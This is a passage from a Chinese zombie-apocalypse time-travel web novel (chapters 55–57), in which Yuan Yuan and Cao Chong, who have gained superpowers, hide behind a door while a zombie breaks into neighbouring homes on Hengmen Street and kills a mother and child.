“你犯贱,所以很想挨骂?”袁媛无语,有些怀疑丧尸病毒腐蚀坏了曹冲的脑子,“僵尸此刻可能正在门外的街道上游荡,一旦听到大声喧哗,他们就会疯狂地向这里涌过来。我得多想不开才会主动招惹僵尸来咬死我?”虽然丧尸一来,曹冲也得遭殃。但只是被视觉性/骚/扰而已,她就当被狗咬了一口,还不至于为此与他同归于尽,“——不对。”
袁媛皱眉,突然发现了不合理之处:“你跟我说话并没有刻意压低音量,也没有在我醒来的第一时间内提醒我闭嘴。”
很多人醒来后发现自己完全暴露在异性的注视下,第一反应是尖叫。曹冲比她醒得早,如果要降低她引来丧尸的风险,完全可以在她昏迷时拿衣服或者被褥盖住她的身体,可他不仅没有这样做,反而还不慌不忙地挑战她的底线。
是什么给了他如此肆无忌惮的底气?
袁媛想到一种可能:“你觉醒了声音屏蔽异能?”
“还有这种异能?”曹冲好奇。
他对异能种类的了解全都来源于《浩劫启示录》,但书中并没有提及与声音有关的异能。
难道猜错了?
袁媛心思微转:“这世间的异能千奇百怪,什么样的都有吧。”
《浩劫启示录》篇幅有限,她不可能把所有异能都罗列清楚。声音异能不仅有,还分成了许多种小类,各有各的特点与用处。
曹冲如果觉醒的不是声音异能,又是什么异能呢?
“砰!”
没等袁媛细问,巨大的闷响冲击耳膜,听起来像是有人抡起锤子砸门。袁媛把嘴边的问句咽回肚子里,第二声撞击接踵而至,震得整个地面都跟着晃动。
这下袁媛确定了,确实是在砸门。
但砸的不是自家的门,而是隔壁的门。
袁媛的心提到了嗓子眼,曹冲已经径直冲向朱漆大门,贴着门缝观察外面的情况。
嗯?袁媛揉了揉眼。
如果没看错,刚才他跑过去的时候,像是用了瞬移?
曹冲的异能是瞬移?
压下心中疑惑,袁媛飞快捡起角落里的钥匙,在看热闹与换衣服之间纠结了半秒,最终还是用最快的速度回里屋穿上衣服,出来时就看见曹冲仍旧维持着先前单膝跪地的姿势,盯着门缝目不转睛。
袁媛赶忙也凑了过去。
什么都没有。<
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空空荡荡的街道,对门那户人家的大门被整个撞飞,留下一个黑洞洞的入口,像只张着大嘴的恶兽,做好了吞噬生命的准备。
诡异的寂静。
发生了什么?
袁媛瞪大眼睛盯死门洞,很久都没能等来答案。
正胡思乱想之际,突然听到门洞后方传来某种黏糊的、类似野兽啃噬动物骨头的咀嚼声。
倘若刚才撞门的是一只丧尸……
袁媛打了个寒颤,几乎不敢往下想。
“别抖。”曹冲的气息呼在袁媛耳畔,目光扫过她头上的珍珠步摇。只见那串价值连城的东珠仍然止不住地颤动,如同她压低声音说话时上下牙关碰撞的哆嗦:“里面,是什么?”
“你不是已经猜到了吗?”曹冲反问。眼看着袁媛似乎有要腿软吓晕过去的迹象,他眼疾手快地扣住她的细腰,将她整个人都搂进怀里。
袁媛脸色惨白,好好的一句话被恐惧剪得千疮百孔:“是丧……僵,僵尸在吃人?”
“我跟你一样看不到里头的情况,但,除此之外别无可能。”
袁媛抖得更厉害了。发簪擦过曹冲耳际,激起细密的刺痛感。
怀里的人被恐惧摄住了心神,根本没闲暇注意曹冲的动作。
他低头用下颌抵住她的头顶,掌心按住她的胸腹,隔着两层衣料,听到两个人逐渐趋同的心跳:“横门街是东西走向,纵长千余米,街北是甲字门牌,街南是乙字门牌。咱们住在乙字五号,对面是甲字四号,从东往南依次是甲字五号、六号……除乙字八号是太守府外,其余皆为民宅。天气好的时候,站在我们家二楼厢房的窗边,可以沿着道路从街头一直看到街尾。但自从起了丧尸瘟,街道两头便雾气弥漫。哪怕穷尽目力,也只能看清我们周围的甲字一至七号、乙字一至八号。”
“雾气?”袁媛愣怔,两个字的发音在牙齿缝里滚了滚,出口时几乎无声。
“不必刻意压低音量。”话是这么说,曹冲自己却将气音压得更低更缓,仿佛给孩童讲故事般娓娓道来:“你在《浩劫启示录》上写,僵尸对声音敏感,听到声响会本能地向发声处聚集。但之前有只狗吠得整条街都能听到,却并没有引来任何僵尸。”
“书里还写,感染僵尸瘟后,能觉醒异能者凤毛麟角,绝大多数人熬不过尸变,最终变成僵尸。横门街居民密集,按理说此时街上应尸满为患。但据我观察,目前这整条街上只有一只僵尸,就是进了对门的那只,你说奇怪不奇怪?”
“奇怪。”袁媛的颤抖逐渐平息。
曹冲哄骗孩童似的语调将她从血腥魔幻的丧尸世界,拉回了尔虞我诈的人类社会。
自从曹冲断定她就是《浩劫启示录》的作者,他就变成了一只耐心的蜘蛛,在她的四面八方都布下了轻飘飘的蛛丝,步步为营地试探。执意要带她来零陵,也是因为认定了她的肚子里能吐出更多有关末世的讯息。他极其聪明地把两人的生死绑在了一起,让她与他一同站在门后,共同面对对门的敌人。
他指出了现实情况中与书中描述间的矛盾,想要从她这个原作者口中得到解释。
可惜他打错了算盘。
袁媛虽然来自未来,但她毕竟不曾真正经历过末世。她掌握的所有关于末世的信息都来源于书本,然而,并没有哪本书能解释眼下的情况。
她也不知道这条街为什么会如此古怪。
56. 山涛
袁媛咬紧牙关。
隔着布料,她能感受到身后曹冲紧绷的胸肌如同硬邦邦的石头,让她不由自主的走了一下神,想到穿越前在网络上看到的一个笑话:肌肉放松的时候是软的,紧张的时候才是硬的。所以,坚硬的胸肌是霸总为了耍帅强拗出来的造型。
但是袁媛估计,现在的曹冲是真的很紧张。
他连战场都还没真正上过,就被迫直面丧尸这种怪物,心里不可能毫无波澜。
袁媛发现曹冲紧紧箍着她的手汗淋淋的,出汗同样是紧张的症状之一。这个认知让她奇异地放松了下来。虽然来零陵是曹冲求仁得仁的结果,但自古最难做到的就是知行合一。
哪怕曹冲之前很笃定他为了获取异能甘愿冒客死异乡的风险,在危险真正来临时,也不一定真能做到虽死不悔。
在丧尸面前,曹冲也只是个在生死边缘挣扎的凡人,他与她并没有很大的区别。
浓重的血腥味从对面的门洞里缓慢流淌出来,如同有生命一般,蠕动着在地上留下黑红的蜿蜒血迹,无声刺激着围观者的神经。
“这只僵尸挨个敲住户的门,如果没人开门,他就硬闯。”曹冲在袁媛的耳边说,发白的指关节泄露了他的紧绷程度,“他已经不请自入了甲字一到四号和乙字一到三号,下一个是乙字四号,接下来就是甲字五号和我们。”
沉闷的脚步声响起。
袁媛太阳穴直跳。借着月光,她能看到一个高大的人形物体从门洞里走了出来,焦黑的骨头上挂着几缕破布,脖颈扭曲成极其诡异的角度,整张面孔都挂满了腐肉,两个大概是鼻孔的大洞不规则地抽搐着,似乎正努力捕捉活人的气息。
即使袁媛早就在记录片里见过丧尸的样子,仍然被实物的丑陋惊得胃部痉挛。
他在乙字四号门口停住了。
“砰!”
伴随着第一声敲门,隔壁传来桌椅翻倒的动静,像是邻居用家具堵住了门口,防止丧尸破门而入。
然而,这显然是徒劳!
屋
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内人的反抗令第二下撞击变得更为猛烈,整面墙都随之震颤起来。门闩崩裂,大门发出垂死前的呻吟,堵住门的水缸拖地滑行的巨响听得人牙齿发麻。
当重物被掀翻的坠地声第三次传来时,门框断裂的咔嚓与小男孩稚嫩的童音交织在一起。
“阿母,我会变冰冰,我用冰冰冻住它!”
隔壁突然炸开冰锥碎裂的脆响。
女人绝望的呼喊被骨头断裂的声音碾碎:“巨源,快跑,跑——”话音戛然而止,取而代之的是头骨砸击地面的闷响,以及孩童铺天盖地的哭叫:“阿母,阿母!”
无论他怎样呼唤,他的阿母都再也无法作出回应。
袁媛靠在门后,任由孩童的啼哭撞击耳膜,又在预料之中的某个瞬间被生生掐断。也许丧尸已经在对门吃饱,这回没有听到令人毛骨悚然的啃噬咀嚼,但隔壁的母子毋庸置疑,毫无生还可能。
死去的孩童名唤巨源,袁媛恰好也知道一个“巨源”,那是“竹林七贤”山涛的字。
57. 索贿
丧尸开始撞第一次门时,袁媛惊恐地后退两步,问向曹冲:“你是什么异能,瞬移吗?”
“是的,你呢?”
“修复。”袁媛深吸一口气,半真半假地说,“刚觉醒异能等级很低,所以我也不知道能修复到什么程度。而且我的修复异能只能用于自己,不能治愈别人。”
曹冲若有所思。
袁媛昏迷时,他见证过无数次她尸化后复原,再尸化再复原的过程,早就猜出了她的能力可以自愈。至于她能否治愈别人,在僵尸绝对的实力面前,似乎也失去了计较的意义。
他目前只能瞬移一丈远,且使用异能后,需间隔一炷香的时间才能再次使用,非常鸡肋。
他之前围观了僵尸绞杀甲字五号控风异能者的全过程,经他估算,他和袁媛武力对决僵尸的胜率为,零。
他带上袁媛逃跑的成功率为,零。
扔下袁媛独自逃跑的成功率为,零。
除非袁媛的异能可以让她复活,甚至更进一步,让他起死回生,否则这个宅院就将是他们的长眠之地。
第二次撞门!
大门发出刺耳的吱呀,令人作呕的尸臭直冲脑门。曹冲拔剑出鞘,做好了战斗准备。
袁媛从墙角捡了把斧头,胃里翻江倒海,恐惧得两腿发颤,几乎难以站稳。
她虽然死过很多次,但从来没试过被僵尸吃掉的死法,光想想就很想晕过去。
她咽了咽口水:“你会瞬移,说不定一会儿趁着僵尸吃我的时候,能逃出去……”
话一出口,袁媛自己先楞了一下。
这就是传说中的“人之将死其言也善”吗?扪心自问,被曹冲强制带来零陵承受这场无妄之灾,袁媛其实也不怎么想让曹冲好过。但是真的面临生死的时候,第一反应竟然是能活一个是一个。
果然,能身体力行“宁死也要拉个垫背的”、“宁可我负天下人,不可令天下人负我”的都是人中枭雄。普通人当了一辈子良民,不管死多少次都洗不掉良善底色。
悲哀。
袁媛叹气。曹冲却仿佛完全没听到她的建
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议,挺身站到她的前方,嗓音清冽,听不出半点情绪。
“退后!”
丧尸的嘶吼近在咫尺,袁媛没想到关键时刻,曹冲竟然会选择挡在她身前,一时怔住。
生死关头,他选择了保护她。
因为太过意外,她呆望着曹冲执剑而立的颀长身影,手足无措地立在原地。
曹冲回头看了眼她那满是破绽的站姿与狐假虎威的斧头,嫌弃道:“躲到里屋去,别在这里碍事。”
豆大的汗珠顺着他的脸颊滑落,袁媛眼睁睁看着他胸口的布料晕出汗渍。
他侧身靠上门板,手中剑刃不但倒映出他棱角分明的下颚线,也掩去了他眉眼中的算计。
不管袁媛是否能让人起死回生,他都只能赌一把。使用异能的主动权全在袁媛手里,直言不讳地提出要求很可能被拒绝。曹冲眼下并没有能威逼利诱她的筹码,只能打出感情牌。
他需要她的感动:“这僵尸战力非凡,我只能撑上片刻,你再不抓紧躲好,可得给我陪葬了。快去!”